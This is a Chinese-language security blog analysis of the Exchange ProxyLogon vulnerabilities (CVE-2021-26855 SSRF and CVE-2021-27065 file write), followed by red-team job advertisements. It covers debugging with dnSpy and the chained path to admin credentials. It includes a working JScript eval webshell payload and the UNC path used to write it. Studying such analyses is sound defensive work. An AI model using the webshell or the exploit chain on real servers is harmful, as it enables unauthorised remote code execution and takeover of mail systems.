Exchange “ProxyLogon”系列漏洞分析

Exchange “ProxyLogon”系列漏洞分析
2022-12-8 00:1:30 Author: 白帽子(查看原文) 阅读量:44 收藏

STATEMENT

声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，雷神众测及文章作者不为此承担任何责任。

No.1 简介

近期，微软Exchange邮件服务器的⾼危安全漏洞引起了安全圈的普遍关注，主要包括的漏洞类型和CVE 编号如下所示：

· CVE-2021–26855 SSRF

· CVE-2021–26857 反序列化

· CVE-2021–26858 任意⽂件写⼊

· CVE-2021–27065 任意⽂件写⼊

其中CVE-2021–26855是⼀个SSRF，攻击者可以不经过任何类型的身份验证来利⽤此漏洞，只需要能够访问Exchange服务器即可；与此同时，CVE-2021–27065是⼀个任意⽂件写⼊漏洞，它需要登陆的管理员账号权限才能触发。因此，两者的结合可以造成未授权的webshell写⼊，属于⾮常⾼危的安全漏洞。

在本⽂中，我们⾸先介绍了Exchange处理请求的流程和对其调试⽅法；接下来具体分析了CVE-2021–26855与CVE-2021–27065漏洞原理，最后较为详细的描述了漏洞相关的ProxyLogon接⼝部分的详细验证过程。四个安全漏洞的利⽤过程示意图如上所示^[10]。

No.2 Exchange处理请求流程

Exchange系统的服务架构如下图所示，由前端和多个后端组件组成。⽤户基于各类协议对Exchange的前端发起请求，前端解析请求后会将其转发到后端相对应的服务当中。以基于HTTP/HTTPS协议的访问为例，来⾃Outlook或Web客户端的请求会⾸先经过IIS，然后进⼊到Exchange的HTTP代理，代理根据请求类型将HTTP请求转发到不同的后端组件中。整个处理流程如下图所示^[11]：

No.3 调试⽅法

相关分析⽂章⼀般只分析了漏洞的原理，却忽略了介绍如何调试代码的⽅法，由于对.NET框架的调试相对来说⽐较复杂，所以⾸先介绍⼀下我们的调试⽅法。

调试⼯具--dnspy

dnspy是⼀个.NET反汇编和调试编辑器^[1]。它可以对基于.NET框架编写的动态链接库（.dll）进⾏反编译，让我们清楚地查看代码逻辑和结构。同时可以让我们在没有源代码的情况，对程序进⾏下断点调试。

静态分析

通过dnspy可以直接对dll库进⾏逆向，直接打开被调试⽂件即可，⼗分⽅便。对于Exchange的漏洞，我们⽤到的最关键的dll库为 Miscrosoft.Exchange.FrontEndProxy.dll ，这个库中包含了Exchange将前端请求转发到后端的过程。

不过由于整个Http请求还经过了⼀些不包含在Exchange内的运⾏库（如.Net⾃带的System.Web库），仅凭静态分析⽆法跟⼊这些库中，因此还需要动态调试。

动态调试

通过dnspy的附加到进程功能，我们可以动态调试.NET程序。然⽽由于Exchange程序逻辑极其复杂，相关进程较多，如何从复杂的进程中找到被调试的进程是⼀个难点。

⾸先通过IIS管理器可以查看当前服务器的应⽤程序池，其中Exchange的应⽤程序池以 MSExchange为开头。

随后查看IIS服务相关的所有进程。进⼊C:\Windows\System32\inetsrv，执⾏appcmd list wp ，可以查看进程名和进程号。

经过测试，applicationPool.MSExchangeECPAppPool是本次漏洞的相关进程。于是可以在dnspy中，点击调试->附加到进程->选中进程->附加。之后就可以下断点进⾏调试了。

No.4 CVE-2021–26855

CVE-2021-26855是⼀个SSRF漏洞。恶意⽤户可以在远程绕过安全验证向任意端⼝发送数据。研究⼈员对补丁前后的dll库进⾏diff，发现在Microsoft.Exchange.FrontEndHttpProxy的BEResourceRequestHandler类中，新增了 ShouldBackendRequestAnonymous ⽅法^[2]。因此我们可以从这个类⼊⼿。

BEResourceRequestHandler是⼀个⽤于处理向后端进⾏资源型请求的类，如请求js，png，css⽂件等。它在函数SelectHandlerForUnauthenticatedRequest中被引⽤，⽽要创建这个类的实例，⾸先需要函数BEResourceRequestHandler.CanHandle()返回True。

分析CanHandle函数，可以发现返回True需要以下两个条件：

· HTTP请求的Cookie中含有X-BEResource键；

· 请求应是资源型请求，即请求的⽂件后缀应为规定的⽂件类型。

privatestaticstringGetBEResouceCookie(HttpRequesthttpRequest){  stringresult=null;  HttpCookiehttpCookie=httpRequest.Cookies[Constants.BEResource];  if (httpCookie!=null)  {    result = httpCookie.Value;  }  return result; }

public static bool IsResourceRequest(string localPath) { ArgumentValidator.ThrowIfNull("localPath", localPath); return localPath.EndsWith(".axd", StringComparison.OrdinalIgnoreCase) ||localPath.EndsWith(".crx", StringComparison.OrdinalIgnoreCase) ||localPath.EndsWith(".css", StringComparison.OrdinalIgnoreCase) ||localPath.EndsWith(".eot", StringComparison.OrdinalIgnoreCase) ||localPath.EndsWith(".gif", StringComparison.OrdinalIgnoreCase) ||localPath.EndsWith(".jpg", StringComparison.OrdinalIgnoreCase) ||localPath.EndsWith(".js", StringComparison.OrdinalIgnoreCase) ||localPath.EndsWith(".htm", StringComparison.OrdinalIgnoreCase) ||localPath.EndsWith(".html", StringComparison.OrdinalIgnoreCase) ||localPath.EndsWith(".ico", StringComparison.OrdinalIgnoreCase) ||localPath.EndsWith(".manifest", StringComparison.OrdinalIgnoreCase) ||localPath.EndsWith(".mp3", StringComparison.OrdinalIgnoreCase) ||localPath.EndsWith(".msi", StringComparison.OrdinalIgnoreCase) ||localPath.EndsWith(".png", StringComparison.OrdinalIgnoreCase) ||localPath.EndsWith(".svg", StringComparison.OrdinalIgnoreCase) ||localPath.EndsWith(".ttf", StringComparison.OrdinalIgnoreCase) ||localPath.EndsWith(".wav", StringComparison.OrdinalIgnoreCase) ||localPath.EndsWith(".woff", StringComparison.OrdinalIgnoreCase) ||localPath.EndsWith(".bin", StringComparison.OrdinalIgnoreCase) ||localPath.EndsWith(".dat", StringComparison.OrdinalIgnoreCase) ||localPath.EndsWith(".exe", StringComparison.OrdinalIgnoreCase) ||localPath.EndsWith(".flt", StringComparison.OrdinalIgnoreCase) ||localPath.EndsWith(".mui", StringComparison.OrdinalIgnoreCase) ||localPath.EndsWith(".xap", StringComparison.OrdinalIgnoreCase) ||localPath.EndsWith(".skin", StringComparison.OrdinalIgnoreCase);}

SelectHandlerForUnauthenticatedRequest函数在OnPostAuthorizeInternal中被调⽤。 httpHandler会被设置为BEResourceRequestHandler的⼀个实例，由于BEResourceRequestHandler继承于ProxyRequstHandler，因此会进⼊((ProxyRequestHandler)httpHandler).Run(context)，并最终在HttpContext.RemapHandler中把该httpHandler设置给this._remapHandler，即是context.Handler。

接下来，进⼊System.Web.HttpApplication中CallHandlerExecutionStep接⼝的HttpApplication.IExecutionStep.Execute()函数。⾸先，从context.Handler获取handler ，即我们之前提到的BEResourceRequestHandler，由于BEResourceRequestHandler继承与ProxyRequestHandler类，⽽该类⼜继承了IHttpAsyncHandler类，因此会进⼊到如下图所示的if分⽀当中，并在图中的3872⾏调⽤ProxyRequestHandler.BeginProcessRequest()函数。

接下来，在ProxyRequestHandler.BeginProcessRequest中会调⽤ProxyRequestHandler.BeginCalculateTargetBackEnd, 在ProxyRequestHandler.BeginCalculateTargetBackEnd中调⽤ProxyRequestHandler.InternalBeginCalculateTargetBackEnd，最终进⼊到BEResourceRequestHandler.ResolveAnchorMailbox。BEResourceRequestHandler.ResolveAnchorMailbox函数会调⽤BEResourceRequestHandler.GetBEResouceCookie获取键X-BEResource的值，然后将其传⼊BackEndServer.FromString中。

在BackEndServer.FromString函数中，⾸先根据～将X-BEResource的值分割为两部分，前⼀部分作为fqdn，后⼀部分则是version的值。

函数继续执⾏，经过⼀系列函数调⽤：后端服务器的⽬标FQDN计算完后调⽤OnCalculateTargetBackEndCompleted函数，该函数⼜调⽤InternalOnCalculateTargetBackEndCompleted函数，紧接着调⽤ BeginValidateBackendServerCacheOrProxyOrRecalculate函数，然后调⽤BeginProxyRequestOrRecalculate函数，最终进⼊到BeginProxyRequest函数中。其中调⽤GetTargetBackendServerUrl函数获取向backend转发请求的URL。

GetTargetBackendServerUrl中将调⽤GetClientUrlForProxy函数构造发起请求的URL。

最终调⽤ProxyRequestHandler.CreateServerRequest(uri)向backend发起请求。

以上即是SSRF漏洞的整个流程。

No.5 CVE-2021–27065

CVE-2021–27065是⼀个任意⽂件写⼊漏洞，相⽐于CVE-2021–26855简单得多。⾸先需要⼀个管理员账号，进⼊Servers->Virtual Directories->OAB

编辑OAB配置，在外部链接中写⼊shell并保存。

http://aaa/<script language="JScript" runat="server">function Page_Load(){eval(Request["orange"],"unsafe");}</script>

接下来输⼊⽂件路径并重置。

\\127.0.0.1\c$\inetpub\wwwroot\aspnet_client\1chig0.aspx

shell即可成功写⼊。

No.6 两者配合写⼊shell

由于漏洞内容较为敏感，⼤部分⽂章到这⾥的分析很少。我们通过对协议分析以及⾃⼰的理解，还原了proxylogon的技术细节。

获取LegacyDN

Autodiscover是Exchange中的⼀个服务，该服务可以帮助客户端（例如Outlook）以最少的⽤户输⼊来进⾏电⼦邮箱的配置。因为在前⽂提到的SSRF中需要获知后端服务器即Exchange服务器的FQDN，因此可以利⽤该服务。

Autodiscover的请求格式可以在官⽅⽂档^[6]中找到。

<Autodiscoverxmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">  <Request> <EMailAddress>[email protected]</EMailAddress> <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>  </Request></Autodiscover>

获取SID

消息处理API（MAPI）是Outlook⽤于接收和发送电⼦邮件相关信息的API，在Exchange 2016以及2019当中，微软⼜为其加⼊了MAPI over HTTP机制，使得Exchange和Outlook可以在标准的HTTP协议模型之下利⽤MAPI进⾏通信。整个MAPI over HTTP的协议标准可以在官⽅⽂档中查询。为了获取对应邮箱的SID，如下图所示的exploit中利⽤了⽤于发起⼀个新会话的Connect类型请求。

⼀个正常的Connect类型请求如图所示^[5]，包含UserDn等多个字段，其中UserDn指的是⽤户在该域中的专有名称（Distinguish Name），该字段已被我们通过上⼀步骤的请求中得到。该Connect类型请求通过解析后会将相关参数交给Exchange RPC服务器中的EcDoConnectEx⽅法执⾏。由于发起请求的RPC客户端的权限为SYSTEM，对应的SID为S-1-5-18，与请求中给出的DN所对应的SID不匹配，于是响应中返回错误信息，该信息中包含了DN所对应的SID，从⽽达到了⽬的。

各个字段的具体含义如下图所示^[5]。

获取管理员登陆凭证

通过Burpsuite拦截数据包可以看到，exploit利⽤SSRF漏洞访问了Exchange后端的/ecp/proxyLogon.ecp路径，从响应中得到了ASP.NET_SessionId以及msExchEcpCanary两个Cookie，根据Cookie的键名我们可以得知这两个Cookie分别对应会话ID以及⽤户的登录凭证。

为了了解它们是如何⽣成的，我们查看IIS管理器，可以找到 ecp 的后端.NET应⽤程序物理路径。

在该物理路径下的.NET应⽤配置⽂件web.config中定义了不同路径的HTTP请求对应的处理函数，检索可知路径proxyLogon.ecp是由ProxyLogonHandler来处理的，然⽽对相应的dll进⾏反编译后发现该Handler仅修改了HTTP响应的状态码。

最终通过调试后发现，真正与msExchEcpCanary以及ASP.NET_SessionId相关的代码是在类RbacModule中的，通过web.config可以看到RbacModule作为应⽤的其中⼀个模块⽤于处理HTTP请求。

在该模块中由函数Application_PostAuthenticateRequest具体实现对HTTP请求的解析。相关关键代码如下，⾸先函数根据httpContext⽣成AuthenticationSettings实例。

在AuthenticationSettings的构造函数中，由于所有的if语句均不满⾜，函数会根据context⽣成⼀个RbacSettings实例，并赋值给⾃⼰的Session属性。

⽽在RbacSettings的构造函数中，函数会判断请求路径是否以/proxyLogon.ecp结尾，若是则进⼊下⽅的if分⽀，利⽤请求数据创建SerializedAccessToken实例。

分析SerializedAccessToken类，可知该类会将访问令牌序列化成XML格式，其中根节点的名字为r，根节点的at属性对应访问令牌中的认证类型、ln属性对应访问令牌中的登录名称；根节点的⼦节点为SID节点，节点名字为s，当中的属性t对应SID类型，属性 a 对应SID属性，节点中的⽂本为SID。其序列化函数定义如下，可以看到令牌⼤致与Windows中的安全访问令牌内容相似。

随后构造函数根据请求头部的msExchLogonMailbox字段以及logonUserIdentity变量调⽤GetInboundProxyCaller函数获取该代理请求的发起服务器。若返回结果不为空则调⽤EcpLogonInformation.Create函数创建⼀个EcpLogonInformation实例，再⽤该实例创建⼀个EcpIdentity实例。

Create函数⾸先根据logonMailboxSddlSid⽣成安全标识符实例，然后根据proxySecurityAccessToken参数⽣成SerialzedIdentity实例，并最后⽣成EcpLogonInformation实例。⽽根据名称可知logonUserIdentity定义了登⼊⽤户的权限，因⽽我们能够得到任意SID对应⽤户的权限。

之后程序回到RbacSettings的构造函数中，在响应中添加ASP.NET_SessionId Cookie。

程序接下来返回到RbacModule的函数中，在AuthenticationSettings实例⽣成后其Session属性被赋值给httpContext.User，并进⼊if分⽀调⽤CheckCanary函数。

CheckCanary函数⼜将调⽤如下所示的SendCanary函数，该函数⾸先从请求的Cookie中读取Canary并尝试恢复，若成功则函数直接返回，否则⽣成⼀个新的Canary并将其加⼊到响应的Cookie中。从⽽我们能够构造满⾜要求的请求通过SSRF访问 ecp/proxyLogon.ecp获得管理员的凭证。

写shell

最后根据CVE-2021–27065发送的请求包构造请求，即可成功写⼊shell，不再赘述。

· 查看OAB配置

· 保存外部链接

· 重置

· 最终成功写⼊结果

No.7 总结

Exchange的架构设计中不允许⽤户直接访问后端，⽽是要通过前端服务作为代理来进⾏访问。然⽽，前端在处理代理请求的过程中由于对特定Cookie的内容没有进⾏充分检查，导致攻击者最终能够实现服务端请求伪造。在能够对后端服务发起请求后，攻击者⼜利⽤了后端管理服务没有对⽂件类型进⾏检查的漏洞，构造恶意输⼊以及恶意⽂件后缀名实现了WebShell的写⼊。

No.8 参考⽂献

【1】https://github.com/dnSpy/dnSpy

【2】https://testbnull.medium.com/ph%C3%A2n-t%C3%ADch-l%E1%BB%97-h%E1%BB%95ng-proxylogon-mail-exchange-rce-s%E1%BB%B1-k%E1%BA%BFth%E1%BB%A3p-ho%C3%A0n-h%E1%BA%A3o-cve-2021-26855-37f4b6e06265

【3】https://www.praetorian.com/blog/reproducing-proxylogon-exploit/

【4】https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/

【5】https://interoperability.blob.core.windows.net/files/MS-OXCMAPIHTTP/%5bMS-OXCMAPIHTTP%5d.pdf

【6】https://interoperability.blob.core.windows.net/files/MS-OXDSCLI/%5bMS-OXDSCLI%5d.pdf

【7】https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/

【8】https://msrc-blog.microsoft.com/2021/03/02/multiple-security-updates-released-for-exchange-server/

【9】 https://msrc-blog.microsoft.com/2021/03/05/microsoft-exchange-server-vulnerabilities-mitigations-march-2021/

【10】https://www.microsoft.com/security/blog/2021/03/25/analyzing-attacks-taking-advantage-of-the-exchange-server-vulnerabilities/

【11】https://docs.microsoft.com/en-us/exchange/architecture/architecture?view=exchserver-2016

RECRUITMENT

招聘启事

安恒雷神众测SRC运营（实习生）
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【职责描述】
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安全招聘

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工作年限：1年+
工作地点：杭州（总部）、广州、成都、上海、北京

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5.负责针对常见WAF产品规则进行测试并落地bypass方案

【岗位要求】
1.至少1年安全领域工作经验；
2.熟悉HTTP协议相关技术
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4.熟练掌握php、java、asp.net代码审计基础（一种或多种）
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7.有过独立分析漏洞的经验，熟悉各种Web调试技巧
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【加分项】
1.具备良好的英语文档阅读能力；
2.曾参加过技术沙龙担任嘉宾进行技术分享；
3.具有CISSP、CISA、CSSLP、ISO27001、ITIL、PMP、COBIT、Security+、CISP、OSCP等安全相关资质者；
4.具有大型SRC漏洞提交经验、获得年度表彰、大型CTF夺得名次者；
5.开发过安全相关的开源项目；
6.具备良好的人际沟通、协调能力、分析和解决问题的能力者优先；
7.个人技术博客；
8.在优质社区投稿过文章；

岗位：安全红队武器自动化工程师
薪资：13-30K
工作年限：2年+
工作地点：杭州（总部）

【岗位职责】
1.负责红蓝对抗中的武器化落地与研究；
2.平台化建设；
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【岗位要求】
1.熟练使用Python、java、c/c++等至少一门语言作为主要开发语言；
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3:熟悉域安全以及内网横向渗透、常见web等漏洞原理；
4.对安全技术有浓厚的兴趣及热情，有主观研究和学习的动力；
5.具备正向价值观、良好的团队协作能力和较强的问题解决能力，善于沟通、乐于分享。

【加分项】
1.有高并发tcp服务、分布式等相关经验者优先；
2.在github上有开源安全产品优先；
3:有过安全开发经验、独自分析过相关开源安全工具、以及参与开发过相关后渗透框架等优先；
4.在freebuf、安全客、先知等安全平台分享过相关技术文章优先；
5.具备良好的英语文档阅读能力。

简历投递至

[email protected]

岗位：红队武器化Golang开发工程师

薪资：13-30K
工作年限：2年+
工作地点：杭州（总部）

【岗位职责】
1.负责红蓝对抗中的武器化落地与研究；
2.平台化建设；
3.安全研究落地。

【岗位要求】
1.掌握C/C++/Java/Go/Python/JavaScript等至少一门语言作为主要开发语言；
2.熟练使用Gin、Beego、Echo等常用web开发框架、熟悉MySQL、Redis、MongoDB等主流数据库结构的设计,有独立部署调优经验；
3.了解docker，能进行简单的项目部署；
3.熟悉常见web漏洞原理，并能写出对应的利用工具；
4.熟悉TCP/IP协议的基本运作原理；
5.对安全技术与开发技术有浓厚的兴趣及热情，有主观研究和学习的动力，具备正向价值观、良好的团队协作能力和较强的问题解决能力，善于沟通、乐于分享。

【加分项】
1.有高并发tcp服务、分布式、消息队列等相关经验者优先；
2.在github上有开源安全产品优先；
3:有过安全开发经验、独自分析过相关开源安全工具、以及参与开发过相关后渗透框架等优先；
4.在freebuf、安全客、先知等安全平台分享过相关技术文章优先；
5.具备良好的英语文档阅读能力。

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文章来源: http://mp.weixin.qq.com/s?__biz=MzAwMDQwNTE5MA==&mid=2650246446&idx=1&sn=443c2749169620932d6c7a7ded3c05fa&chksm=82ea5687b59ddf9169b376afb470352a9ab022082aaf09e76e555fbf5afaa0db4890ad846150#rd
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